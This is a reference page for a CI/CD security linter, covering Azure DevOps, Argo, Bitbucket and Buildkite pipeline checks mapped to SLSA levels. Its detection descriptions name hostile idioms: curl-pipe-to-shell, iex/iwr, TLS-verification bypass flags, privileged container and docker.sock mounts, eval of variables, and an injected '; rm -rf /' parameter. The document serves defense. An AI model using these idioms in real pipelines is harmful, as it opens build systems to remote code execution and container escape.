Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. pool: { name: <agent-pool> } (or the bare string form pool: <name>) targets a self-hosted agent pool. Without an explicit ephemeral arrangement, agents reuse state across jobs. Microsoft-hosted pools (vmImage: or the Azure Pipelines / Default names) are skipped.
Recommendation. Configure the agent pool with autoscaling + ephemeral agents (the Azure VM Scale Set agent), and add demands: [ephemeral -equals true] on the pool block so this check can verify it.
Source: ADO-013 in the Azure DevOps provider.
ADO-015: Job has no timeoutInMinutes, unbounded build MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without timeoutInMinutes, the job runs until Azure's 60-minute default kills it. Explicit timeouts cap blast radius and the window during which a compromised step has access to service connections.
Recommendation. Add timeoutInMinutes: to each job, sized to the 95th percentile of historical runtime plus margin. Azure's default is 60 minutes, an explicitly shorter value limits blast radius and agent cost.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ADO-015 in the Azure DevOps provider.
ADO-016: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Source: ADO-016 in the Azure DevOps provider.
ADO-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the build agent, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ADO-017 in the Azure DevOps provider.
ADO-019: extends: template on PR-validated pipeline points to local path CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. extends: template: <local-file> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body and inject arbitrary pipeline logic. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.
Recommendation. Pin the extends template to a protected repository ref (template@ref). Local templates in PR-validated pipelines can be poisoned by the PR author.
Source: ADO-019 in the Azure DevOps provider.
ADO-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ADO-021 in the Azure DevOps provider.
ADO-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ADO-023 in the Azure DevOps provider.
ADO-024: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. On Azure Pipelines the common pattern is a Bash@3 task invoking cosign attest --yes --predicate=provenance.json $(image). The native Microsoft SBOM tool emits _manifest/spdx_2.2/manifest.spdx.json for SBOM but does not produce provenance on its own.
Recommendation. Add a task that runs cosign attest against a provenance.intoto.jsonl statement, or Microsoft's sbom-tool in attestation mode. ADO-006 covers signing; this rule covers the in-toto statement SLSA Build L3 additionally requires.
Source: ADO-024 in the Azure DevOps provider.
ADO-025: Cross-repo template not pinned to commit SHA HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Azure Pipelines resolves template: build.yml@tools against the tools repo resource's ref: field. When that ref is refs/heads/main (or missing, which defaults to the pipeline's default branch), a push to the callee repo changes what your pipeline runs on the next invocation.
Recommendation. On every resources.repositories entry referenced from a template: ...@repo-alias directive, set ref: refs/tags/<sha> or the bare 40-char commit SHA, never a branch or floating tag. A moved branch/tag swaps the template body without changing your pipeline file.
Source: ADO-025 in the Azure DevOps provider.
ADO-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements ADO-002 (script injection from untrusted PR context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value that must feed a dynamic command at the boundary.
Known false positives.
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Source: ADO-027 in the Azure DevOps provider.
ADO-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements ADO-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.
Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Azure Artifacts) instead of installing from a filesystem path or tarball URL.
Source: ADO-028 in the Azure DevOps provider.
ARGO-001: Argo template container image not pinned to a digest HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Walks spec.templates[].container, spec.templates[].script, and spec.templates[].containerSet.containers[]. The image must contain @sha256: followed by a 64-char hex digest.
Recommendation. Pin every container / script template image to a content-addressable digest (alpine@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the workflow's containers at the next pull, with no audit trail in the WorkflowTemplate.
Source: ARGO-001 in the Argo Workflows provider.
ARGO-002: Argo template container runs privileged or as root HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detection fires on securityContext.privileged: true, runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true, or no securityContext block at all. Also walks spec.podSpecPatch (raw YAML) for an explicit privileged: true token.
Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every template container / script. A privileged container shares the node's kernel namespaces; a malicious image then has root on the build node and breaks the boundary between workflow and cluster.
Source: ARGO-002 in the Argo Workflows provider.
ARGO-003: Argo workflow uses the default ServiceAccount MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Applies to Workflow and CronWorkflow. WorkflowTemplate / ClusterWorkflowTemplate are exempt because the SA is set on the run that references them. An explicit serviceAccountName: default is treated the same as omission.
Recommendation. Set spec.serviceAccountName (or spec.workflowSpec.serviceAccountName for CronWorkflow) to a least-privilege ServiceAccount that carries only the secrets and RBAC the workflow needs. Falling back to the namespace's default SA grants access to whatever cluster-admin or wildcard role someone later binds to default, a privilege-escalation surface that should never be load-bearing for workflow pods.
Source: ARGO-003 in the Argo Workflows provider.
ARGO-004: Argo workflow mounts hostPath or shares host namespaces CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Walks spec.volumes[].hostPath and the raw spec.podSpecPatch string for hostNetwork, hostPID, hostIPC, and hostPath.
Recommendation. Use emptyDir or PVC-backed volumes instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true from any inline podSpecPatch. A hostPath mount of /var/run/docker.sock or / lets the workflow break out of the pod and act as the underlying node.
Source: ARGO-004 in the Argo Workflows provider.
ARGO-005: Argo input parameter interpolated unsafely in script / args CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Fires on any {{inputs.parameters.X}}, {{workflow.parameters.X}}, or {{item.X}} token inside a script.source body or a container.args string that isn't already wrapped in quotes. Doesn't fire on the env-var indirection pattern, which is safe.
Recommendation. Don't interpolate {{inputs.parameters.<name>}} directly into script.source or container.args. Argo substitutes the value before the shell parses it, so a parameter containing ; rm -rf / runs as shell. Pass the parameter via env: (value: '{{inputs.parameters.<name>}}') and reference the env var quoted in the script ("$NAME"); or use inputs.artifacts for file payloads.
Source: ARGO-005 in the Argo Workflows provider.
ARGO-006: Literal secret value in Argo template env or parameter default CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than an interpolation.
Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or arguments.parameters[].value. Workflow manifests are committed to git and cluster-readable; literal values leak through normal access paths.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ARGO-006 in the Argo Workflows provider.
ARGO-007: Argo workflow has no activeDeadlineSeconds LOW
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Applies to Workflow, CronWorkflow, WorkflowTemplate, and ClusterWorkflowTemplate. The field can sit at the workflow level or on individual templates.
Recommendation. Set spec.activeDeadlineSeconds (or spec.workflowSpec.activeDeadlineSeconds on a CronWorkflow) so a hung step can't pin the workflow controller's reconcile cycle indefinitely. Pick a value generous enough for the slowest legitimate run (e.g. 3600 for a typical pipeline, 21600 for ML training). Per-template activeDeadlineSeconds is also accepted as evidence of intent.
Source: ARGO-007 in the Argo Workflows provider.
ARGO-008: Argo script source pipes remote install or disables TLS HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Walks script.source and joined container.args text with the cross-provider CURL_PIPE_RE and TLS_BYPASS_RE regexes.
Recommendation. Replace curl ... | sh with a download-then-verify-then-execute pattern. Drop TLS-bypass flags (curl -k, git config http.sslverify false); install the missing CA into the template image instead. Both forms let an attacker controlling DNS / a transparent proxy substitute the script the workflow runs.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ARGO-008 in the Argo Workflows provider.
ARGO-009: Artifacts not signed (no cosign/sigstore step) MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Detection mirrors GHA-006 / TKN-009 / BK-009, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in each Argo document. Fires only on artifact-producing Workflows / WorkflowTemplates (those that invoke docker build / docker push / kaniko / helm upgrade / aws s3 sync / etc.) so lint-only Workflows don't trip it.
Recommendation. Add a cosign step to the Workflow. The most common shape is a final sign template that runs cosign sign --yes <repo>@sha256:<digest> after the build. Sign by digest, not tag, so a re-pushed tag can't bypass the signature.
Source: ARGO-009 in the Argo Workflows provider.
ARGO-010: No SBOM generated for build artifacts MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog: syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool. Fires only on artifact-producing Workflows.
Recommendation. Add an SBOM-generation template. syft <artifact> -o cyclonedx-json > /tmp/sbom.json runs in any standard container; cyclonedx-cli and cdxgen are alternative producers. Persist the SBOM as an output artifact so downstream templates and consumers can read it.
Source: ARGO-010 in the Argo Workflows provider.
ARGO-011: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, witness run, attest-build-provenance).
Recommendation. Add a cosign attest --predicate slsa.json --type slsaprovenance <ref> step after the build template, or use witness run to record the build environment. Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.
Source: ARGO-011 in the Argo Workflows provider.
BB-001: pipe: action not pinned to exact version HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Bitbucket pipes are docker-image references. Major-only (:1) or missing tags let Atlassian/the publisher swap the image contents. Full semver or sha256 digest is required.
Recommendation. Pin every pipe: to a full semver tag (e.g. atlassian/aws-s3-deploy:1.4.0) or to an immutable SHA. Floating majors like :1 can roll to new code silently.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-001 in the Bitbucket provider.
BB-002: Script injection via attacker-controllable context HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. $BITBUCKET_BRANCH, $BITBUCKET_TAG, and $BITBUCKET_PR_* are populated from SCM event metadata the attacker controls. Interpolating them unquoted into a shell command lets a crafted branch or tag name can execute inline.
Recommendation. Always double-quote interpolations of ref-derived variables ("$BITBUCKET_BRANCH"). Avoid passing them to eval, sh -c, or unquoted command arguments.
Source: BB-002 in the Bitbucket provider.
BB-005: Step has no max-time, unbounded build MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without max-time, the step runs until Bitbucket's 120-minute global default kills it. Explicit per-step timeouts cap blast radius and cost.
Recommendation. Add max-time: <minutes> to each step, sized to the 95th percentile of historical runtime plus margin. Bounded runs limit the blast radius of a compromised build and prevent runaway minute consumption.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-005 in the Bitbucket provider.
BB-006: Artifacts not signed MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Unsigned artifacts can't be verified downstream. Passes when cosign / sigstore / slsa-* / notation-sign appears in the pipeline body.
Recommendation. Add a step that runs cosign sign against the built image or archive, using Bitbucket OIDC for keyless signing where possible. Publish the signature next to the artifact and verify it at deploy time.
Source: BB-006 in the Bitbucket provider.
BB-007: SBOM not produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact. Passes when CycloneDX / syft / anchore / sbom-tool / Trivy-SBOM appears.
Recommendation. Add an SBOM step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM as a build artifact.
Source: BB-007 in the Bitbucket provider.
BB-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Complements BB-003 (variable-name scan). BB-008 checks every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script bodies or environment blocks.
Recommendation. Rotate the exposed credential. Move the value to a Secured Repository or Deployment Variable and reference it by name.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Source: BB-008 in the Bitbucket provider.
BB-009: pipe: pinned by version rather than sha256 digest LOW
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. BB-001 fails floating tags at HIGH; BB-009 is the stricter tier. Even immutable-looking semver tags can be repointed by the registry; sha256 digests are tamper-evident.
Recommendation. Resolve each pipe to its digest (docker buildx imagetools inspect bitbucketpipelines/<name>:<ver>) and reference it via @sha256:<digest>.
Source: BB-009 in the Bitbucket provider.
BB-010: Deploy step ingests pull-request artifact unverified CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Bitbucket steps declare artifacts on the producer and downstream steps implicitly receive them. When an unprivileged step produces an artifact and a later deployment: step consumes it without verification, attacker-controlled output flows into the privileged stage.
Recommendation. Add a verification step before the deploy step consumes the artifact: sha256sum -c artifact.sha256 against a manifest the producer signed, or cosign verify over the artifact directly. Alternatively, restrict the artifact-producing step to non-PR pipelines via branches: or custom: triggers.
Source: BB-010 in the Bitbucket provider.
BB-012: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build runner.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Source: BB-012 in the Bitbucket provider.
BB-013: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the build runner, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-013 in the Bitbucket provider.
BB-016: Self-hosted runner without ephemeral marker MEDIUM
Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Self-hosted runners that persist between jobs leak filesystem and process state. A PR-triggered step writes to a well-known path; a subsequent deploy step on the same runner reads it. Detects runs-on: self.hosted without an ephemeral marker or Docker image override.
Recommendation. Use Docker-based self-hosted runners or configure runners to tear down between jobs. Add 'ephemeral' to runs-on labels or use Bitbucket's runner images that are rebuilt per-job.
Source: BB-016 in the Bitbucket provider.
BB-017: Repository token written to persistent storage CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Detects patterns where Bitbucket pipeline tokens are redirected to files or piped through tee. Persisted tokens survive the step boundary and can be exfiltrated by later steps, artifacts, or cache entries.
Recommendation. Never write BITBUCKET_TOKEN or REPOSITORY_OAUTH_ACCESS_TOKEN to files or artifacts. Use the token inline in the command that needs it and let Bitbucket revoke it after the build.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-017 in the Bitbucket provider.
BB-018: Cache key derives from attacker-controllable input MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Bitbucket caches are restored by key. When the key includes a value the attacker controls (branch name, tag, PR ID), a pull-request pipeline can plant a poisoned cache entry that a subsequent default-branch build restores.
Recommendation. Build the cache key from values the attacker cannot control. Prefer hashFiles() on lockfiles enforced by branch protection. Never include $BITBUCKET_BRANCH or PR-related variables in the cache key.
Source: BB-018 in the Bitbucket provider.
BB-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-021 in the Bitbucket provider.
BB-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BB-023 in the Bitbucket provider.
BB-024: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Bitbucket has no native SLSA builder; self-hosted attestation via cosign attest or witness run is the usual path. Pipes like atlassian/cosign-attest (if published) would also match.
Recommendation. Add a step that runs cosign attest against a provenance.intoto.jsonl statement, or integrate the TestifySec witness run attestor. Artifact signing alone (BB-006) doesn't satisfy SLSA Build L3.
Source: BB-024 in the Bitbucket provider.
BB-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements BB-002 (script injection from untrusted PR context). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.
Known false positives.
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Source: BB-026 in the Bitbucket provider.
BB-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements BB-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.
Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.
Source: BB-027 in the Bitbucket provider.
BK-001: Buildkite plugin not pinned to an exact version HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Buildkite resolves plugin refs at agent boot. foo#v1.2.3 locks the version; foo#main / foo does not. Detection fires on bare names, branch keywords, and partial-semver pins (v4, v4.13).
Recommendation. Pin every plugin reference to an exact tag (docker-compose#v4.13.0) or a 40-char commit SHA. Bare references (docker-compose), branch refs (#main / #master), and major-only floats (#v4) resolve to whatever is current at agent start time, which lets a compromised plugin release execute inside the pipeline.
Source: BK-001 in the Buildkite provider.
BK-002: Literal secret value in pipeline env block CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Detection fires on values that look like AWS access keys, GitHub PATs, OpenAI keys, JWTs, or generic high-entropy tokens, plus on env-var names that imply a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) when the value is a non-empty literal rather than an interpolation ($SECRET_FROM_AGENT_HOOK).
Recommendation. Move the value out of the pipeline file. Use Buildkite's agent secrets hooks (secrets/ directory or BUILDKITE_PLUGIN_AWS_SSM_*), the aws-ssm / vault-secrets plugins, or the BUILDKITE_PIPELINE_DEFAULT_BRANCH env var pulled from a secret manager. The pipeline.yml is committed to the repo and visible to anyone with read access.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BK-002 in the Buildkite provider.
BK-003: Untrusted Buildkite variable interpolated in command HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Buildkite passes branch / tag / message metadata as environment variables. Putting them inside $(...) or shelling out with the value unquoted is a classic command-injection vector. The detection fires on the unquoted interpolation form and on use inside eval / $(...).
Recommendation. Don't interpolate $BUILDKITE_BRANCH, $BUILDKITE_TAG, $BUILDKITE_MESSAGE, $BUILDKITE_PULL_REQUEST_*, or $BUILDKITE_BUILD_AUTHOR* directly into shell commands. These come from the pull request / branch and are attacker-controllable. Quote them and assign to a local variable first (branch="$BUILDKITE_BRANCH"; ./script --branch "$branch"), or pass them as arguments to a script you own.
Source: BK-003 in the Buildkite provider.
BK-004: Remote script piped into shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. The detection fires on curl|bash, curl|sh, wget|bash, iex (iwr ...), and the corresponding Invoke-WebRequest|Invoke-Expression PowerShell forms. Use curl -fsSLO <url>; sha256sum -c install.sh.sha256; bash install.sh instead.
Recommendation. Download the installer to disk, verify a checksum or signature, then execute it. curl ... | sh lets the remote host change what runs in your pipeline at any time, and any TLS / DNS error during download silently feeds a partial script to the shell.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BK-004 in the Buildkite provider.
BK-005: Container started with --privileged or host-bind escalation HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detection fires on --privileged, --cap-add=SYS_ADMIN, --pid=host / --ipc=host / --userns=host, and explicit mounts of the host Docker socket (/var/run/docker.sock).
Recommendation. Drop --privileged, --cap-add=SYS_ADMIN, --pid=host, and -v /var/run/docker.sock from container invocations. If the workload needs Docker-in-Docker, use a build-specific rootless option (buildx, kaniko, buildah --isolation=chroot) instead of opening the host kernel and the agent's Docker socket to the build script.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BK-005 in the Buildkite provider.
BK-006: Step has no timeout_in_minutes LOW
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Buildkite has no implicit timeout; agents will wait forever. Set timeout_in_minutes: per step. The pipeline-level default counts, a global steps: block with timeout_in_minutes: is fine, since Buildkite copies it to each step.
Recommendation. Set timeout_in_minutes: on every command step. A compromised dependency or a hung test can otherwise hold an agent indefinitely, blocking parallel pipelines and running up self-hosted-runner cost. Pick a value generous enough for the slowest legitimate run (e.g. 30 for a typical build, 90 for an integration suite).
Known false positives.
- Steps that genuinely need >24h (rare; database migrations, ML training jobs), set
timeout_in_minutes: 1440explicitly so the absence of a timeout is intentional.
Source: BK-006 in the Buildkite provider.
BK-007: Deploy step not gated by a manual block / input MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
